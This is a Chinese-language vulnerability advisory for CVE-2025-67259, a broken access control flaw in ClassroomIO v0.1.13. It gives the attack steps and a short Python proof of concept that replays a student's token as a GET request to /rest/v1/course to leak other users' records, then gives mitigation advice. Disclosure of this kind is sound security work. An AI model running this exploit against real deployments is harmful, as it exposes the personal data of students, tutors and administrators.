IPBUF安全漏洞报告
English
CVE-2025-67259 CVSS 6.5 中危

CVE-2025-67259 ClassroomIO越权访问漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2025-67259
漏洞类型
访问控制失效
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ClassroomIO

相关标签

Broken Access ControlClassroomIO越权访问信息泄露PostgREST

漏洞概述

ClassroomIO v0.1.13 版本中存在一个访问控制失效漏洞。该漏洞允许经过身份验证的低权限“学生”用户通过拦截并修改 API 请求,从而获取未经授权的课程级别敏感信息。攻击者无需用户交互,即可通过网络利用此漏洞泄露包括其他学生详细信息、导师或管理员个人资料以及内部课程元数据在内的机密信息。

技术细节

该漏洞源于 ClassroomIO 应用程序后端 PostgREST 端点的访问控制机制存在缺陷。应用程序假设某些操作仅通过 POST 请求执行,但未对同一资源的 GET 请求实施严格的权限校验。攻击者首先需要一个有效的低权限学生账户。在登录后,攻击者利用代理工具(如 Burp Suite)拦截发往 /rest/v1/course 的 API 请求。通过将原本的 POST 请求方法修改为 GET 并重放请求,攻击者绕过了前端或业务逻辑层的限制。由于 PostgREST 端点可能缺乏行级安全策略(RLS)的正确配置以区分不同权限的用户,服务器返回了数据库中的所有课程记录。这导致了水平越权(查看其他学生数据)和垂直越权(查看管理员数据),造成严重的信息泄露。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取一个合法的低权限学生账户,并成功登录系统。
STEP 2
步骤2:拦截网络请求
使用 Burp Suite 或类似代理工具拦截浏览器发送到后端服务器的 API 请求,定位到 /rest/v1/course 相关的交互。
STEP 3
步骤3:修改请求方法
将拦截到的 POST 请求方法修改为 GET 请求,保持原有的认证 Token 不变。
STEP 4
步骤4:重放请求与数据泄露
发送修改后的 GET 请求,服务器因缺乏严格的访问控制验证,返回了包含所有学生、导师及管理员信息的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2025-67259: Broken Access Control in ClassroomIO # Description: Exploiting the /rest/v1/course endpoint by changing POST to GET. target_host = "http://vulnerable-classroomio-instance.com" vulnerable_endpoint = "/rest/v1/course" # Simulating a captured session cookie or auth token from a low-privilege student auth_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: # The exploit involves changing the method to GET # Normally the application might expect a POST, but GET discloses data response = requests.get(f"{target_host}{vulnerable_endpoint}", headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Sensitive Data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

ClassroomIO v0.1.13

防御指南

临时缓解措施
建议管理员立即审查 PostgREST 的访问策略,确保 /rest/v1/course 等敏感端点已启用 RLS 并正确配置。在未升级修复前,可在 Web 应用防火墙(WAF)中添加规则,限制对 /rest/v1/course 的 GET 请求仅来自受信任的内部 IP 或特定用户代理,缓解数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表